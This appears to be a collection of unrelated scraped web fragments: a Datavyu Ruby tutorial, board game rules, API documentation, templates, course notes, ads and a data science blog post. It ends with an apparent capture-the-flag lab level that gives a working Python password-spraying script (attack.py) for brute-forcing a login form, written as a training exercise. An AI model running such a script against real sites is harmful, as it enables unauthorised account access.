to set the onset time of each cell, so having it start at 0 and go to 4 makes sense.Loop 5 times from 0 to 4, calculating the onset time to set for each new cell.
Since Datavyu API uses times in milliseconds, convert
i
(the minute marker) to milliseconds:require 'Datavyu_API.rb' begin block = createColumn("block", "code") for i in 0..4 # Calculate the onset time in milliseconds time = i * 1000 * 60
Then, create the new cell using
make_new_cell()
and store the cell as a Ruby object. For simplicity, we’ll call itcell
:require 'Datavyu_API.rb' begin block = createColumn("block", "code") for i in 0..4 time = i * 1000 * 60 # Create a new cell, called ``cell`` cell = block.make_new_cell()
Set the onset of
cell
to the value of thetime
variable usingchange_code()
, andend
the for loop:require 'Datavyu_API.rb' begin block = createColumn("block", "code") for i in 0..4 time = i * 1000 * 60 cell = block.make_new_cell() # Set "onset" to the value of the ``time`` variable cell.change_code("onset", time) end
Now that the loop is complete, write the changes back to the Datavyu spreadsheet and
end
the script:require 'Datavyu_API.rb' begin block = createColumn("block", "code") for i in 0..4 time = i * 1000 * 60 cell = block.make_new_cell() cell.change_code("onset", time) end # Write change back to the Datavyu spreadsheet setColumn(block) end


TWINS
aka TWEELINGEN, GEMINICopyright (c) 2004 Fred Horn
This game is played on a 19x19 Go board:
Definition of Bisector: the orthogonal line intersecting the midpoint of the line segment defined by two stones.
- TURN - On his turn, each player drops two friendly stones on empty cells provided that:
- both stones occupy the same line with an odd number >= 3 of empty cells between them (ie, the midpoint corresponds to an intersection),
- the line must be the bisector of the previous move (this restriction does not apply, of course, in the first move of the game),
- the previous midpoint and the closest stone must have one or more empty cells between them
- it is illegal to place a stone between already played two stones of a used line
- the new bisector must not have be played before (ie, there's a maximum of 19 moves/player on a 19x19 Go board).
- GOAL - A player without a legal move loses the game.
An example The left diagram show the beginning of a sample match. The green dots represent the respective midpoints.
Notice that now, the Second player for his next move, cannot place a stone at the red dots (there must always by a line of empty cells between the new stones and the previous midpoint.
Also, all intersections between each pair of stones cannot be used in the following moves.
Fred Horn, in the original rules, states White as the first player.


#include <choice.hpp>
◆ Choice() [1/2]
| ilasynth::Choice::Choice |
( |
const std::string & |
name, |
|
|
const nptr_vec_t & |
args |
|
) |
| |
◆ Choice() [2/2]
◆ ~Choice()
| ilasynth::Choice::~Choice |
( |
| ) |
|
◆ equal()
| bool ilasynth::Choice::equal |
( |
const Choice & |
that | ) |
const |
◆ getChoiceType()
◆ getChoiceVarName()
| const char* ilasynth::Choice::getChoiceVarName |
( |
unsigned |
i | ) |
const |
|
inline |
◆ write()
| std::ostream& ilasynth::Choice::write |
( |
std::ostream & |
out | ) |
const |
◆ args
◆ choiceVars
| std::vector<std::string> ilasynth::Choice::choiceVars |
The documentation for this struct was generated from the following file:


Step-by-step Guidance to Download Your
Free PDF Reader
A little background about Adobe Reader: Adobe Reader software is the global standard
for electronic document sharing. It is the only PDF file viewer that can open and
interact with all PDF documents. You can use Adobe Reader to view, search,
verify, print, and collaborate on Adobe PDF files.
The Adobe reader (Version 9) is a relatively small
(41.1 MB) program that is distributed free. It is a safe and easy-to-use
program that will allow you to open and read any document that has been saved
in a PDF format. Distributed by Acrobat, the Adobe reader is offered free as
part of Acrobats marketing strategy. You need only the Adobe reader to be able
to access PDF format documents. Once you have downloaded the Adobe reader to
your computer, any PDF formatted documents, including the CDs of newspapers
offered by the
The Adobe reader is simply a tool that allows your
computer to open and display PDF formats. There is nothing new to learn and no
new procedures to master in order to use the Adobe reader. Simply download it
and all subsequent use is automatic.
1. Click on the following address to get your FREE
copy of Adobe Reader: http://get.adobe.com/reader/
2. Follow the instructions on the page that
appears to download your copy of Adobe reader.
More
about the Acrobat marketing strategy: The
PDF format is analogous to the HTML format that is extensively used on the
Internet. The PDF format has certain advantages when used on documents and
other materials over which the author wishes to maintain complete control. The
PDF format is frequently used for forms, published documents, operating
manuals, etc.
To maximize their
advantage with the PDF format, Acrobat would like their product to be used
globally. Acrobat makes its money by selling products other than the Adobe
reader. To maximize their market they are willing to give users the Adobe
reader free, hoping that users will buy their additional products. Their
marketing strategy has been largely successful. The PDF format has become an
international standard for many types of documents.
Click here to return to the list of available CDs


Class ViewManagement
| Defined in: | lib/mixins/view-management.coffee |
| Inherits: | Mixin |
Overview
Provides methods to manage minimap views per pane.
Instance Method Summary
- MinimapView ::getActiveMinimap() Returns the MinimapView of the active editor view.
-
MinimapView ::minimapForEditor(editor)
Returns the MinimapView object associated to the passed-in
Editor
. -
MinimapView ::minimapForEditorView(editorView)
Returns the MinimapView object associated to the passed-in
TextEditorView
. -
Object ::observeMinimaps(iterator)
Calls
iterator
for each present and future minimap views. - ::updateAllViews() Updates all views currently in use.
Instance Method Details
MinimapView ::getActiveMinimap() Source
Returns the MinimapView of the active editor view.
MinimapView ::minimapForEditor(editor) Source
Returns the MinimapView object associated to the passed-in Editor
.
MinimapView ::minimapForEditorView(editorView) Source
Returns the MinimapView object associated to the passed-in TextEditorView
.
Object ::observeMinimaps(iterator) Source
Calls iterator
for each present and future minimap views. It returns a subscription Object with a off
method so that it is possible to unsubscribe the iterator from being called for future views.
::updateAllViews() Source
Updates all views currently in use.


|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
java.lang.Object org.apache.commons.collections.comparators.ComparatorChain
public class ComparatorChain
A ComparatorChain is a Comparator that wraps one or more Comparators in sequence. The ComparatorChain calls each Comparator in sequence until either 1) any single Comparator returns a non-zero result (and that result is then returned), or 2) the ComparatorChain is exhausted (and zero is returned). This type of sorting is very similar to multi-column sorting in SQL, and this class allows Java classes to emulate that kind of behaviour when sorting a List.
To further facilitate SQL-like sorting, the order of any single Comparator in the list can be reversed.
Calling a method that adds new Comparators or changes the ascend/descend sort after compare(Object, Object) has been called will result in an UnsupportedOperationException. However, take care to not alter the underlying List of Comparators or the BitSet that defines the sort order.
Instances of ComparatorChain are not synchronized. The class is not thread-safe at construction time, but it is thread-safe to perform multiple comparisons after all the setup operations are complete.
| Field Summary | |
|---|---|
protected java.util.List |
comparatorChain
The list of comparators in the chain. |
protected boolean |
isLocked
Whether the chain has been "locked". |
protected java.util.BitSet |
orderingBits
Order - false (clear) = ascend; true (set) = descend. |
| Constructor Summary | |
|---|---|
ComparatorChain()
Construct a ComparatorChain with no Comparators. |
|
ComparatorChain(java.util.Comparator comparator)
Construct a ComparatorChain with a single Comparator, sorting in the forward order |
|
ComparatorChain(java.util.Comparator comparator,
boolean reverse)
Construct a Comparator chain with a single Comparator, sorting in the given order |
|
ComparatorChain(java.util.List list)
Construct a ComparatorChain from the Comparators in the List. |
|
ComparatorChain(java.util.List list,
java.util.BitSet bits)
Construct a ComparatorChain from the Comparators in the given List. |
| Method Summary | |
|---|---|
void |
addComparator(java.util.Comparator comparator)
Add a Comparator to the end of the chain using the forward sort order |
void |
addComparator(java.util.Comparator comparator,
boolean reverse)
Add a Comparator to the end of the chain using the given sort order |
int |
compare(java.lang.Object o1,
java.lang.Object o2)
Perform comparisons on the Objects as per Comparator.compare(o1,o2). |
boolean |
equals(java.lang.Object object)
Returns true iff that Object is
is a Comparator whose ordering is known to be
equivalent to mine. |
int |
hashCode()
Implement a hash code for this comparator that is consistent with equals . |
boolean |
isLocked()
Determine if modifications can still be made to the ComparatorChain. |
void |
setComparator(int index,
java.util.Comparator comparator)
Replace the Comparator at the given index, maintaining the existing sort order. |
void |
setComparator(int index,
java.util.Comparator comparator,
boolean reverse)
Replace the Comparator at the given index in the ComparatorChain, using the given sort order |
void |
setForwardSort(int index)
Change the sort order at the given index in the ComparatorChain to a forward sort. |
void |
setReverseSort(int index)
Change the sort order at the given index in the ComparatorChain to a reverse sort. |
int |
size()
Number of Comparators in the current ComparatorChain. |
| Methods inherited from class java.lang.Object |
|---|
clone, finalize, getClass, notify, notifyAll, toString, wait, wait, wait |
| Field Detail |
|---|
protected java.util.List comparatorChain
protected java.util.BitSet orderingBits
protected boolean isLocked
| Constructor Detail |
|---|
public ComparatorChain()
public ComparatorChain(java.util.Comparator comparator)
comparator
- First comparator in the Comparator chainpublic ComparatorChain(java.util.Comparator comparator, boolean reverse)
comparator
- First Comparator in the ComparatorChainreverse
- false = forward sort; true = reverse sortpublic ComparatorChain(java.util.List list)
list
- List of ComparatorsComparatorChain(List,BitSet)
public ComparatorChain(java.util.List list, java.util.BitSet bits)
list
- List of Comparators. NOTE: This constructor does not perform a
defensive copy of the listbits
- Sort order for each Comparator. Extra bits are ignored,
unless extra Comparators are added by another method.| Method Detail |
|---|
public void addComparator(java.util.Comparator comparator)
comparator
- Comparator with the forward sort orderpublic void addComparator(java.util.Comparator comparator, boolean reverse)
comparator
- Comparator to add to the end of the chainreverse
- false = forward sort order; true = reverse sort orderpublic void setComparator(int index, java.util.Comparator comparator) throws java.lang.IndexOutOfBoundsException
index
- index of the Comparator to replacecomparator
- Comparator to place at the given index
java.lang.IndexOutOfBoundsException
- if index < 0 or index >= size()public void setComparator(int index, java.util.Comparator comparator, boolean reverse)
index
- index of the Comparator to replacecomparator
- Comparator to setreverse
- false = forward sort order; true = reverse sort orderpublic void setForwardSort(int index)
index
- Index of the ComparatorChainpublic void setReverseSort(int index)
index
- Index of the ComparatorChainpublic int size()
public boolean isLocked()
public int compare(java.lang.Object o1, java.lang.Object o2) throws java.lang.UnsupportedOperationException
compare
in interface java.util.Comparator
o1
- the first object to compareo2
- the second object to compare
java.lang.UnsupportedOperationException
- if the ComparatorChain does not contain at least one
Comparatorpublic int hashCode()
equals
.
hashCode
in class java.lang.Object
public boolean equals(java.lang.Object object)
true
iff that Object is
is a Comparator
whose ordering is known to be
equivalent to mine.
This implementation returns true
iff object.
equals getClass()
this.getClass()
, and the underlying
comparators and order bits are equal.
Subclasses may want to override this behavior to remain consistent
with the Comparator.equals(Object)
contract.
equals
in interface java.util.Comparator
equals
in class java.lang.Object
object
- the object to compare with
|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


Example usage:
node ./examples/bundlePage.js test/fixtures/image.html
Make sure you have run `npm test` beforehand


interface Debuggable
abstract val debug: Boolean |
open fun debug(message: () -> String): Unit |
class BuildingBuilder : Debuggable |
|
class CensusTaker : Debuggable
Used to figure out population and economy stats by CityMap... |
|
object CityFileAdapter : Debuggable |
|
class Constructor : Debuggable
Constructor is responsible for looking at the city... seeing what the demand is for each type of zone and then attempting to place them in the most desirable spots... |
|
class ContactFulfiller : Debuggable |
|
data class Contract : Debuggable |
|
object ContractChecker : Debuggable |
|
class DesirabilityUpdater : Debuggable
This class is responsible for going over each zoned tile and figuring out the "Desirability score"... in other words how badly people want to live there... |
|
class GameFrame : View, Debuggable |
|
class HappinessUpdater : Debuggable |
|
class LandValueUpdater : Debuggable |
|
class Liquidator : Debuggable |
|
class Manufacturer : Debuggable |
|
class Pathfinder : Debuggable
Find paths within the CityMap parameter. |
|
class PollutionUpdater : Debuggable |
|
class ResourceFinder : Debuggable |
|
class Shipper : Debuggable |
|
class TaxCollector : Debuggable |
|
class TrafficAnimationRenderer : Debuggable |
|
class Upgrader : Debuggable |
|
class ZotPopulator : Debuggable |
|
class ZotRenderer : Debuggable |


Toggle navigation
DEV-GEARS
Home
Products
Clients
Team
Blog
CONTACT US
Copyright 2014 www.dev-gears.com
Follow us:
twit
fb
linked
google+


ILS Doctoral Research Forum 2021
Welcome to the Department of Information & Library Science Doctoral Research Forum 2021 (ILS-DRF 2021)!
ILS-DRF 2021 will be held on 11:00 a.m., Nov. 12, 2021, local time. The forum provides a great opportunity for doctoral students to present their ongoing research and discuss their ideas with peers and faculty members. To maximally reach out to the audience and keep us healthy, we finally decided to hold the event fully online through Zoom.
The Doctoral Research Forum is a yearly event of the ILS. It focuses on motivating Ph.D. students to participate in innovative research through the lens of information science, library science, social sciences, policy studies, and other disciplines. As evaluated by the previous doctoral program director Dr. Xiaozhong Liu, "our doctoral program is the heart of the ILS research community."
Presentation time will vary depending on the number of presentations. At the time of writing, we expect a maximum of 15 minutes to present, followed by 5 minutes QA.
My fellows, 💪💪submit your presentation topic here💪💪!
Please email us if you have any questions.
News
-
Sep. 8, 2021. 1st CFP and open submission.
-
Oct. 10, 2021. We are pleased to announce Dr. Andrew Asher as the keynote speaker🎉🎉🎉!
-
Sep. 14, 2021. 2nd CFP.


Voting Polls
Below are polls that are available for voting:
You can view and edit these polls.
-
<% for(var i=0; i
- <%= poll[i] %> <% } %> <% if(i+1 == poll.length){ %>
- <%= poll[i] %> <% } %> <% } %>
Below are polls that are available for voting:
You can view and edit these polls.


{% extends "mail_layout.html" %} {% block title %}SURF 2fa token reset{% endblock %} {% block content %}
Second-factor authentication reset token.
User {{ user.name }} has reported being unable to login anymore because they lost access to the authenticator app.
The token below can be used to reset the second-factor authentication for {{ user.name }}.
{{ user.mfa_reset_token }}
Please deliver this token to {{ user.email }} and inform the user that the token can be entered on their next login attempt.
{% if message is defined and message != None and message|length %}A message from {{ user.name }}:
{{ message }}


Perception, Planning, and Control
© Russ Tedrake, 2020-2023
Last modified .
How to cite these notes, use annotations, and give feedback.
Note: These are working notes used for a course being taught at MIT. They will be updated throughout the Fall 2023 semester.
| Previous Chapter | Table of contents |
Thank you for citing these notes in your work. Please use the following citation:
@book{manipulation,
title = "Robotic Manipulation",
subtitle = "Perception, Planning, and Control",
howpublished = "Course Notes for MIT 6.4210",
author = "Tedrake, Russ",
year = 2023,
url = "http://manipulation.mit.edu",
}
My primary goal for the annotation tool is to host a completely open dialogue on the intellectual content of the text. However, it has turned out to serve an additional purpose: it's a convenient way to point out my miscellaneous typos and grammatical blips. The only problem is that if you highlight a typo, and I fix it 10 minutes later, your highlight will persist forevermore. Ultimately this pollutes the annotation content.
I highly value both the discussions and the corrections. Please keep them coming, and thank you!
Each semester students put together a final project using the tools from this class. So many of them are fantastic! Here is a small sample that captures some of the diversity.
Fall 2023 Outstanding Project Awards (playlist):
Fall 2021:
Fall 2020:
I'm very interested in your feedback. The annotation tool is one mechanism, but you can also comment directly on the YouTube lectures, or even add issues to the github repo that hosts these course notes.
I will also post a proper survey questionnaire here once the notes/course has existed long enough for that to make sense.
| Previous Chapter | Table of contents |


This web application fetches data from https://api.worldoftanks.eu/wot/account/info/ once the user is logged in.


Error Happened!
This is embarrasing!. An error has occured inside Ximpia framework. Notification has been sent to system web administrator, and
we will look into the matter as soon as possible. Thanks for your patience during our beta phase. Sorry for the incovience.
Please excuse us for the incovenience this may cause you. Very soon the site will be back online.
Thanks for your patience.
|


Surrounded by awe inspiring panoramic views of deep greens and blue landscapes, combined with unspoiled natural beauty of birch, spruce, maples, vibrant sunsets and calm summer breezes, this beautiful lake front resort, originally established in 1932, is proud to be offering a truly unique hi-end boutique resort experience, like no other in Minnesota. This BRAND NEW 5-STAR ALL-INCLUSIVE resort in Minnesota now offers luxury vacation homes and cabin accommodations overlooking Blackduck Lake and the “lazy” knee deep Blackduck River, just minutes north of Bemidji, 3 ½ hours north of Minneapolis, 3 hours east of Fargo and 1 hour south of Canada.
“Lake resorts in MN are always what families look for when going on vacation! Guests are guaranteed to receive the most unmatched complete All-Inclusive vacation package for any small privately owned and operated Minnesota luxury resort, all while receiving incredible rates!” - Guest Comment


When I told people that my job title is a Data Scientist, they usually pause for a couple moments and ask what exactly is a Data Scientist? The simplest answer that I can give is Data Science is a combination of math, computer science, and engineering . For math and computer science, usually we have a problem statement (what we would like to solve), the approach (how we solve the problem), and finally the implementation (deployment using certain software such as Python and R) . A typical problem that is solved in data science is a Classification task (eg. Predict if the picture is a cat or a dog, etc) or Regression task (Predict the sales of the store on a particular day based on hour, weather, location of store).
Now you must be thinking, what about the engineering part? In order to solve problem, a Data Scientist needs to be knowledgeable on the subject that he/she is working on. For example: If you are working in a Supply Chain company, you must understand how the Supply Chain works (terminologies and concepts). It will make you a better problem solver if you understand the fundamentals of what you are working on.
To reiterate, here are what it takes to be a Data Scientist:
- Math
- Optimization (Foundation of Machine Learning is Optimization)
- Proofing: This is vital if you want to know how math formula is generated
- Computer Science
- Data cleaning
- Visualization
- Good coding practice
- Engineering: Approach the problem as if you are an Engineer (You will save a lot of time if you think through the problem before solving it)
- Curiosity to learn and always update yourself with new skill and novelty approach (algorithm, modeling technique, etc) to solve problems
Where Do I Learn to Become a Data Scientist?
There are several paths one can take to become a Data Scientist:
The most important part is PRACTICE, PRACTICE, AND MORE PRACTICE! This is very relevant especially on coding side of things. For someone who codes regularly and then takes a month or two months break for vacation, he/she will forget a lot of syntax for that particular programming language after not coding for couple months. I highly recommend working on a lot of interesting problems on Kaggle. You can learn from the notebook (coding and algorithm approach) posted by other users.
What is/are My Favorite Programming Language?
You must be rolling your eyes because there are 2 groups: R > Python and Python > R. There are a lot of debates out there on which is better. My take on it is to use whichever language that you feel the most comfortable. I used both languages interchangeably because there are packages available in R but not in Python and vice versa. Also, I recommend everyone to learn SQL (Structured Query Language) because you will spend 60% of your time pulling the data that will be important for analysis as well as data cleaning.
What is the Job Market Like?
I believe the job market is best explained in this article written by PwC. The job market is hot and in high demand. However, it will become more competitive as the job market matures. According to PwC, US average annual salary for Data Scientist is $94,576. From my personal experience, most companies look for someone with a PhD degree or Masters degree with 3-5 years experience for Data Scientist position. However, there are companies that would omit that requirement if you have proven that you are capable.
Conclusion
At the end of the day, you have to pursue the job that will make you happy. I hope this small write up can help you to see what it takes to be a Data Scientist. It takes a lot of passion and hard work to be a good Data Scientist but it is quite satisfying if you can use data to come up with cool insight. Last but not least, remember this quote by W. Edwards Deming.
In God we trust. All others must bring data.
Feel free to reach out on LinkedIn or Email if you have further questions.


{{name}}
Do you want to logout ?
ACTIVITY
{%for activity in page %}
Name of activity : {{activity.Name_Activity}}
Advisor : {{activity.Advisor}}
Date : {{activity.Date_Activity}}
{% endfor %}


python3 thunder.py destroy
Your virtual environment must be active to use thunder.py:
source ../env-tctf/bin/activate
python3 thunder.py create thunder/a7spray
Creating this level will start a simple website which we can use to attack.
A list of possible user names and a list of most commonly used passwords downloaded from Internet are provided.
Use attack.py or write your own code to find valid credentials of the website by sending all combinations of username and password.
List the instances in the project and take note of your EXTERNAL_IP.
gcloud compute instances list
Try browse EXTERNAL_IP/login in a browser
Use Chrome webtool(f12) or Firefox debugger to inspect the login form.
We can find that the name attributes of text inputs in login page are 'username' and 'password'(we will use this information in our code later).
Navigate to core/levels/thunder/a7spray/attack-helper.
Take a look at attack.py and replace EXTERNAL_IP
import requests import itertools #possible usernames unames=[uname.rstrip('\n') for uname in open('unames.txt','r')] #most commanly used passwords passwords=[password.rstrip('\n').strip() for password in open('passwords.txt','r')] #url='http://<your EXTERNAL_IP>/login' url='http://<IP_ADDRESS>/login' for u, p in itertools.product(unames,passwords): #two name attributes of input elements payload={'username':u,'password':p} post=requests.Session().post(url, data=payload) if 'Invalid credentials' not in post.text: #print valid username and password print(u+' '+p)
Run code below in google cloud shell.
Or make a copy to your local system and do it from there if it has python installed.
python3 attack.py
You should see a couple of valid credentials printed in your terminal.
Try if you can login with those credentials in a web browser
You can test with different/more usernames and passwords to see if there are other valid credentials.
Level writeup will be available soon